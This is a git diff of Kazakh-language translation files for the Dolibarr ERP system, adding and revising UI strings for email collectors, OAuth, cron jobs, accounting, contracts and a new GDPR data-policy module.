COMPANY_DIGITARIA_CLEAN_REGEX=Регекс сүзгісі таза мәнге (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Көшірмеге рұқсат жоқ +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=Деректерді қорғау жөніндегі қызметкер (DPO, деректердің құпиялылығы немесе GDPR байланысы) GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=Мәтінді құралдар тақтасында көрсетуге көмектесіңіз @@ -2063,11 +2099,18 @@ EmailCollectors=Email collectors EmailCollectorDescription=Электрондық пошта жәшіктерін үнемі сканерлеу (IMAP протоколы арқылы) және қабылданған электрондық хаттарды қажет жерде жазу және/немесе автоматты түрде кейбір жазбаларды жасау үшін жоспарланған жұмыс пен орнату бетін қосыңыз. NewEmailCollector=Жаңа электрондық пошта жинаушысы EMailHost=IMAP серверінің электрондық пошта хосты +EMailHostPort=Port of email IMAP server +loginPassword=Login/Password +oauthToken=Oauth2 token +accessType=Acces type +oauthService=Oauth service +TokenMustHaveBeenCreated=Module OAuth2 must be enabled and an oauth2 token must have been created with the correct permissions (for example scope "gmail_full" with OAuth for Gmail). MailboxSourceDirectory=Пошта жәшігінің бастапқы каталогы MailboxTargetDirectory=Пошта жәшігінің мақсатты каталогы EmailcollectorOperations=Коллектормен жасалатын операциялар EmailcollectorOperationsDesc=Әрекеттер жоғарыдан төменге қарай орындалады MaxEmailCollectPerCollect=Бір жинауға жиналған электрондық хаттардың максималды саны +TestCollectNow=Test collect CollectNow=Қазір жинаңыз ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? DateLastCollectResult=Соңғы жинау күні @@ -2097,6 +2140,7 @@ CodeLastResult=Соңғы нәтиже коды NbOfEmailsInInbox=Бастапқы каталогтағы электрондық пошталардың саны LoadThirdPartyFromName=%s бойынша іздейтін үшінші тарапты жүктеңіз (тек жүктеу үшін) LoadThirdPartyFromNameOrCreate=%s бойынша үшінші тарап іздеуді жүктеңіз (табылмаса жасаңыз) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Save attached files into object documents if a ref of an object is found into email topic. WithDolTrackingID=Dolibarr жіберген бірінші электрондық пошта арқылы басталған сөйлесуден хабар WithoutDolTrackingID=Dolibarr жібермеген ЕМЕС бірінші электрондық пошта арқылы басталған сөйлесуден хабар @@ -2106,7 +2150,7 @@ CreateCandidature=Жұмысқа өтініш жасаңыз FormatZip=Zip MainMenuCode=Мәзірді енгізу коды (негізгі мәзір) ECMAutoTree=ECM автоматты ағашын көрсету -OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. +OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. OpeningHours=Жұмыс уақыты OpeningHoursDesc=Мұнда сіздің компанияңыздың жұмыс уақытын енгізіңіз. ResourceSetup=Ресурс модулінің конфигурациясы @@ -2171,6 +2215,7 @@ ShowProjectLabel=Жоба белгісі PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=Егер сіз PDF -тегі кейбір мәтіндерді бір PDF форматында 2 түрлі тілде қайталағыңыз келсе, мұнда осы екінші тілді орнатуыңыз керек, осылайша жасалған PDF бір бетте 2 түрлі тілді қамтиды, PDF жасау кезінде таңдалған және осы PDF -тің бірнеше үлгілері ғана қолдайды). PDF үшін 1 тіл үшін бос қалдырыңыз. PDF_USE_A=Gererate PDF documents with format PDF/A instead of defaut format PDF FafaIconSocialNetworksDesc=Мұнда FontAwesome белгішесінің кодын енгізіңіз. Егер сіз FontAwesome деген не екенін білмесеңіз, fa-address-book жалпы мәнін пайдалана аласыз. @@ -2199,12 +2244,12 @@ MailToPartnership=Серіктестік AGENDA_EVENT_DEFAULT_STATUS=Пішіннен оқиға жасаған кездегі әдепкі оқиға күйі YouShouldDisablePHPFunctions=PHP функцияларын өшіру керек IfCLINotRequiredYouShouldDisablePHPFunctions=Жүйелік пәрмендерді реттелетін кодта іске қосу қажет болмаса, PHP функцияларын өшіру керек -PHPFunctionsRequiredForCLI=Қабық үшін (мысалы, жоспарланған жұмыс резервтік көшірмесі немесе антивирустық бағдарламаны іске қосу) PHP функцияларын сақтау қажет +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=Түбірлік каталогта жазылатын файлдар немесе жалпы бағдарламалардың каталогтары табылмады (Жақсы) RecommendedValueIs=Ұсынылады: %s Recommended=Ұсынылады NotRecommended=Ұсынылмайды -ARestrictedPath=Some restricted path +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Модульдердің сыртқы жаңартуларын тексеріңіз CheckForModuleUpdateHelp=Бұл әрекет жаңа модульдің бар -жоғын тексеру үшін сыртқы модульдердің редакторларына қосылады. ModuleUpdateAvailable=Жаңарту қол жетімді @@ -2212,6 +2257,7 @@ NoExternalModuleWithUpdate=Сыртқы модульдер үшін жаңарт SwaggerDescriptionFile=Swagger API сипаттамасы файлы (мысалы, redoc көмегімен пайдалану үшін) YouEnableDeprecatedWSAPIsUseRESTAPIsInstead=Сіз ескірген WS API қосылды. Оның орнына REST API пайдалану керек. RandomlySelectedIfSeveral=Бірнеше сурет бар кездейсоқ таңдалады +SalesRepresentativeInfo=For Proposals, Orders, Invoices. DatabasePasswordObfuscated=Мәліметтер қорының құпия сөзі conf файлында жасырылған DatabasePasswordNotObfuscated=Мәліметтер қорының құпия сөзі conf файлында жасырын емес APIsAreNotEnabled=API модульдері қосылмаған @@ -2251,10 +2297,10 @@ LateWarningAfter="Late" warning after TemplateforBusinessCards=Template for a business card in different size InventorySetup= Inventory Setup ExportUseLowMemoryMode=Use a low memory mode -ExportUseLowMemoryModeHelp=Use the low memory mode to execute the exec of the dump (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that file is completed and error message can't be reported if it fails. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook setup Settings = Settings WebhookSetupPage = Webhook setup page @@ -2275,7 +2321,58 @@ IconOnly=Icon only - Text on tooltip only INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. IfThisCategoryIsChildOfAnother=If this category is a child of another one +DarkThemeMode=Dark theme mode +AlwaysDisabled=Always disabled +AccordingToBrowser=According to browser +AlwaysEnabled=Always Enabled +DoesNotWorkWithAllThemes=Will not work with all themes NoName=No name +ShowAdvancedOptions= Show advanced options +HideAdvancedoptions= Hide advanced options CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +OauthNotAvailableForAllAndHadToBeCreatedBefore=OAUTH2 authentication is not available for all hosts, and a token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_OAUTH_SERVICE=OAUTH2 authentication service +DontForgetCreateTokenOauthMod=A token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_AUTH_TYPE=Authentification method +UsePassword=Use a password +UseOauth=Use a OAUTH token +Images=Images +MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/kk_KZ/categories.lang b/htdocs/langs/kk_KZ/categories.lang index e801a47d0aa..14d1d344541 100644 --- a/htdocs/langs/kk_KZ/categories.lang +++ b/htdocs/langs/kk_KZ/categories.lang @@ -42,6 +42,7 @@ MemberHasNoCategory=Бұл мүше тегтерде/санаттарда жоқ ContactHasNoCategory=Бұл байланыс тегтерде/санаттарда жоқ ProjectHasNoCategory=Бұл жоба тегтерде/санаттарда жоқ ClassifyInCategory=Тегке/санатқа қосу +RemoveCategory=Remove category NotCategorized=Тег/санатсыз CategoryExistsAtSameLevel=Бұл санат осы сілтеме арқылы бұрыннан бар ContentsVisibleByAllShort=Мазмұны барлығына көрінеді @@ -67,6 +68,7 @@ StockCategoriesShort=Қойма тегтері/санаттары ThisCategoryHasNoItems=Бұл санатта ешқандай элементтер жоқ. CategId=Тег/санат идентификаторы ParentCategory=Ата -аналық белгі/категория +ParentCategoryID=ID of parent tag/category ParentCategoryLabel=Ата -аналық тегтің/категорияның белгісі CatSupList=Жеткізушілер тегтері/санаттары тізімі CatCusList=Клиенттер тізімі/потенциалды тегтер/санаттар @@ -86,15 +88,18 @@ DeleteFromCat=Тегтерден/санаттан алып тастаңыз ExtraFieldsCategories=Қосымша атрибуттар CategoriesSetup=Тегтер/категорияларды орнату CategorieRecursiv=Ата -аналық тегпен/категориямен автоматты түрде байланыстырыңыз -CategorieRecursivHelp=Егер опция қосулы болса, өнімді ішкі санатқа қосқанда, өнім де ата -аналық санатқа қосылады. +CategorieRecursivHelp=If option is on, when you add an object into a subcategory, the object will also be added into the parent categories. AddProductServiceIntoCategory=Келесі өнімді/қызметті қосыңыз AddCustomerIntoCategory=Клиентке категорияны тағайындаңыз AddSupplierIntoCategory=Жеткізушіге категория беріңіз +AssignCategoryTo=Assign category to ShowCategory=Тегті/санатты көрсету ByDefaultInList=Тізімде әдепкі бойынша ChooseCategory=Санатты таңдаңыз StocksCategoriesArea=Қойма санаттары +TicketsCategoriesArea=Tickets Categories ActionCommCategoriesArea=Оқиға санаттары WebsitePagesCategoriesArea=Контейнерлік беттер санаттары KnowledgemanagementsCategoriesArea=KM article Categories UseOrOperatorForCategories=Санаттар үшін 'НЕ' операторын қолданыңыз +AddObjectIntoCategory=Add object into category diff --git a/htdocs/langs/kk_KZ/commercial.lang b/htdocs/langs/kk_KZ/commercial.lang index 97c4b01e2fa..8ec8e70b62d 100644 --- a/htdocs/langs/kk_KZ/commercial.lang +++ b/htdocs/langs/kk_KZ/commercial.lang @@ -74,8 +74,16 @@ StatusProsp=Болашақ мәртебесі DraftPropals=Коммерциялық ұсыныстардың жобасы NoLimit=Шек жоқ ToOfferALinkForOnlineSignature=Онлайн қолтаңбаға сілтеме -WelcomeOnOnlineSignaturePage=%s коммерциялық ұсыныстарын қабылдау үшін бетке қош келдіңіз -ThisScreenAllowsYouToSignDocFrom=Бұл экран баға ұсынысын/коммерциялық ұсынысты қабылдауға және оған қол қоюға немесе одан бас тартуға мүмкіндік береді -ThisIsInformationOnDocumentToSign=Бұл қабылдауға немесе бас тартуға болатын құжаттағы ақпарат +WelcomeOnOnlineSignaturePageProposal=Welcome to the page to accept commercial proposals from %s +WelcomeOnOnlineSignaturePageContract=Welcome to %s Contract PDF Signing Page +WelcomeOnOnlineSignaturePageFichinter=Welcome to %s Intervention PDF Signing Page +ThisScreenAllowsYouToSignDocFromProposal=This screen allow you to accept and sign, or refuse, a quote/commercial proposal +ThisScreenAllowsYouToSignDocFromContract=This screen allow you to sign contract on PDF format online. +ThisScreenAllowsYouToSignDocFromFichinter=This screen allow you to sign intervention on PDF format online. +ThisIsInformationOnDocumentToSignProposal=This is information on document to accept or refuse +ThisIsInformationOnDocumentToSignContract=This is information on contract to sign +ThisIsInformationOnDocumentToSignFichinter=This is information on intervention to sign SignatureProposalRef=%s баға белгілеу/коммерциялық ұсыныстың қолы +SignatureContractRef=Signature of contract %s +SignatureFichinterRef=Signature of intervention %s FeatureOnlineSignDisabled=Желіде қол қою мүмкіндігі өшірілген немесе функция қосылмай тұрып жасалған құжат diff --git a/htdocs/langs/kk_KZ/compta.lang b/htdocs/langs/kk_KZ/compta.lang index bd4b3527e99..948e33652bc 100644 --- a/htdocs/langs/kk_KZ/compta.lang +++ b/htdocs/langs/kk_KZ/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Баланс (бұрын) Balance=Баланс Debit=Дебет Credit=Несие +AccountingDebit=Debit +AccountingCredit=Credit Piece=Бухгалтерлік құжат AmountHTVATRealReceived=Тор жиналды AmountHTVATRealPaid=Таза төленген @@ -244,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=Өнім бойынша жи TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=Сатудан түскен салық мөлшерлемесі бойынша жиналған айналым туралы есеп жоқ. Бұл есеп тек шот -фактурасы бойынша қол жетімді. CalculationMode=Есептеу режимі AccountancyJournal=Бухгалтерлік есеп журналы -ACCOUNTING_VAT_SOLD_ACCOUNT=Сату бойынша ҚҚС бойынша әдепкі бойынша бухгалтерлік есеп шоты (егер ҚҚС сөздігін орнатуда анықталмаса қолданылады) -ACCOUNTING_VAT_BUY_ACCOUNT=Сатып алу кезінде ҚҚС бойынша әдепкі бойынша бухгалтерлік есеп шоты (егер ҚҚС сөздігін орнатуда анықталмаған болса) -ACCOUNTING_VAT_PAY_ACCOUNT=ҚҚС төлеу үшін әдепкі бойынша бухгалтерлік есеп -ACCOUNTING_ACCOUNT_CUSTOMER=Бухгалтерлік шот клиенттерге үшінші тұлғалар үшін қолданылады +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=Үшінші тараптың карточкасында анықталған арнайы бухгалтерлік есеп тек қосалқы есепте қолданылады. Егер ол үшінші жақта клиенттердің арнайы есепке алу шоты анықталмаса, бұл Бас кітап үшін және қосалқы есепке алудың әдепкі мәні ретінде пайдаланылады. -ACCOUNTING_ACCOUNT_SUPPLIER=Бухгалтерлік есеп шоты үшінші тараптар үшін қолданылады +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=Үшінші тараптың карточкасында анықталған арнайы бухгалтерлік есеп тек қосалқы есепте қолданылады. Егер ол үшінші жақта арнайы жеткізушілердің бухгалтерлік шоты анықталмаса, бұл Бас кітап үшін және қосалқы есепке алудың әдепкі мәні ретінде пайдаланылады. ConfirmCloneTax=Әлеуметтік/фискалдық салықтың клонын растаңыз ConfirmCloneVAT=ҚҚС декларациясының клонын растаңыз @@ -300,3 +302,4 @@ InvoiceToPay15Days=To pay (15 to 30 days) InvoiceToPay30Days=To pay (> 30 days) ConfirmPreselectAccount=Preselect accountancy code ConfirmPreselectAccountQuestion=Are you sure you want to preselect the %s selected lines with this accountancy code ? +AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/kk_KZ/contracts.lang b/htdocs/langs/kk_KZ/contracts.lang index 8bdf87e781c..00793fb649e 100644 --- a/htdocs/langs/kk_KZ/contracts.lang +++ b/htdocs/langs/kk_KZ/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=Келісімшарттар/Жазылымдар ContractsAndLine=Шарттар мен келісімшарттар Contract=Келісімшарт ContractLine=Келісімшарттық желі +ContractLines=Contract lines Closing=Жабылу NoContracts=Келісімшарттар жоқ MenuServices=Қызметтер @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=Бұл келісімшарт жолын шыныме MoveToAnotherContract=Қызметті басқа келісімшартқа ауыстырыңыз. ConfirmMoveToAnotherContract=Мен жаңа мақсатты келісімшартты таңдадым және бұл қызметті осы келісімшартқа ауыстырғым келетінін растаймын. ConfirmMoveToAnotherContractQuestion=Қандай қолданыстағы келісімшартта (үшінші тараптың) осы қызметті жылжытқыңыз келетінін таңдаңыз? -PaymentRenewContractId=Келісімшарт желісін жаңарту (%s нөмірі) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=Мерзімнің өту күні NoExpiredServices=Мерзімі өткен белсенді қызметтер жоқ ListOfServicesToExpireWithDuration=Қызметтер тізімі %s күннен кейін аяқталады @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=Келісімшартқа қол қо HideClosedServiceByDefault=Әдепкі бойынша жабық қызметтерді жасыру ShowClosedServices=Жабық қызметтерді көрсету HideClosedServices=Жабық қызметтерді жасыру +UserStartingService=User starting service +UserClosingService=User closing service diff --git a/htdocs/langs/kk_KZ/cron.lang b/htdocs/langs/kk_KZ/cron.lang index 4b0576c1416..094ca9007f5 100644 --- a/htdocs/langs/kk_KZ/cron.lang +++ b/htdocs/langs/kk_KZ/cron.lang @@ -26,7 +26,7 @@ CronCommand=Пәрмен CronList=Жоспарланған тапсырмалар CronDelete=Жоспарланған тапсырмаларды жою CronConfirmDelete=Бұл жоспарланған тапсырмаларды шынымен жойғыңыз келе ме? -CronExecute=Жоспарланған жұмысты іске қосыңыз +CronExecute=Launch now CronConfirmExecute=Бұл жоспарланған тапсырмаларды дәл қазір орындағыңыз келе ме? CronInfo=Жоспарланған жұмыс модулі тапсырмаларды автоматты түрде орындау үшін оларды жоспарлауға мүмкіндік береді. Жұмыстарды қолмен де бастауға болады. CronTask=Жұмыс @@ -58,7 +58,7 @@ CronNote=Пікір CronFieldMandatory=%s өрістері міндетті болып табылады CronErrEndDateStartDt=Аяқталу күні басталу күнінен бұрын болуы мүмкін емес StatusAtInstall=Модульді орнату кезіндегі күй -CronStatusActiveBtn=Кесте +CronStatusActiveBtn=Enable scheduling CronStatusInactiveBtn=Өшіру CronTaskInactive=Бұл жұмыс өшірілген (жоспарланбаған) CronId=Id @@ -82,10 +82,19 @@ UseMenuModuleToolsToAddCronJobs=Жоспарланған тапсырмалар JobDisabled=Жұмыс өшірілген MakeLocalDatabaseDumpShort=Жергілікті дерекқордың резервтік көшірмесі MakeLocalDatabaseDump=Жергілікті мәліметтер қорының қоқысын жасаңыз. Параметрлер: қысу ('gz' немесе 'bz' немесе 'none'), сақтық көшірме түрі ('mysql', 'pgsql', 'auto'), 1, 'auto' немесе файл атауы, сақталатын резервтік файлдар саны +MakeSendLocalDatabaseDumpShort=Send local database backup +MakeSendLocalDatabaseDump=Send local database backup by email. Parameters are: to, from, subject, message, filename (Name of file sent), filter ('sql' for backup of database only) +BackupIsTooLargeSend=Sorry, last backup file is too large to be send by email +CleanUnfinishedCronjobShort=Clean unfinished cronjob +CleanUnfinishedCronjob=Clean cronjob stuck in processing when the process is no longer running WarningCronDelayed=Назар аударыңыз, өнімділік мақсатында, қосылған тапсырмаларды орындаудың келесі күні қандай болса да, сіздің жұмысыңыз іске қосылмас бұрын максималды %s сағатқа кешіктірілуі мүмкін. DATAPOLICYJob=Деректерді тазартушы және анонимайзер JobXMustBeEnabled=%s тапсырмасы қосылуы керек +EmailIfError=Email for warning on error +ErrorInBatch=Error when running the job %s + # Cron Boxes LastExecutedScheduledJob=Соңғы орындалған жоспарланған тапсырма NextScheduledJobExecute=Орындалатын келесі жоспарланған тапсырма NumberScheduledJobError=Қате жоспарланған тапсырмалар саны +NumberScheduledJobNeverFinished=Number of scheduled jobs never finished diff --git a/htdocs/langs/kk_KZ/datapolicy.lang b/htdocs/langs/kk_KZ/datapolicy.lang new file mode 100644 index 00000000000..aad90c75e2f --- /dev/null +++ b/htdocs/langs/kk_KZ/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Customer +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = Customer +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/kk_KZ/ecm.lang b/htdocs/langs/kk_KZ/ecm.lang index 5119e44bca7..b506dba915e 100644 --- a/htdocs/langs/kk_KZ/ecm.lang +++ b/htdocs/langs/kk_KZ/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Қолмен анықтама ECMSectionAuto=Автоматты каталог ECMSectionsManual=Қолмен ағаш ECMSectionsAuto=Автоматты ағаш +ECMSectionsMedias=Medias tree ECMSections=Каталогтар ECMRoot=ECM түбірі ECMNewSection=Жаңа каталог @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Ішкі каталогтардағы файлдар сан ECMCreationUser=Жаратушы ECMArea=DMS/ECM аймағы ECMAreaDesc=DMS / ECM (Құжаттарды басқару жүйесі / Электрондық мазмұнды басқару) аймағы сізге Dolibarr -да барлық құжаттарды сақтауға, бөлісуге және іздеуге мүмкіндік береді. -ECMAreaDesc2=* Элемент картасынан құжаттарды қосқанда автоматты анықтамалар автоматты түрде толтырылады.
      * Белгілі бір элементпен байланысы жоқ құжаттарды сақтау үшін қолмен каталогтарды пайдалануға болады. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved= %s каталогы жойылды. ECMSectionWasCreated= %s каталогы құрылды. ECMSearchByKeywords=Кілт сөздер бойынша іздеу diff --git a/htdocs/langs/kk_KZ/eventorganization.lang b/htdocs/langs/kk_KZ/eventorganization.lang index f78cda69cec..2034b9d3ef5 100644 --- a/htdocs/langs/kk_KZ/eventorganization.lang +++ b/htdocs/langs/kk_KZ/eventorganization.lang @@ -37,7 +37,8 @@ EventOrganization=Event organization Settings=Параметрлер EventOrganizationSetupPage = Оқиғаны ұйымдастыру беті EVENTORGANIZATION_TASK_LABEL = Жоба расталған кезде автоматты түрде жасалатын тапсырмалар белгісі -EVENTORGANIZATION_TASK_LABELTooltip = Сіз ұйымдасқан оқиғаны тексеру кезінде, кейбір тапсырмалар автоматты түрде жобаға құрылуы мүмкін

      Мысалы: Бут Жіберу
      қатысушыларға арналған іс-шараларға Ашық жазылымдарын
      конференциялар қоңырау алуға
      Бут қоңырау алуға
      Конференцияның үшін
      жіберу қоңыраулар жіберу
      баяндамашыларға оқиғаны еске түсіру +EVENTORGANIZATION_TASK_LABELTooltip = When you validate an event to organize, some tasks can be automatically created in the project

      For example:
      Send Call for Conferences
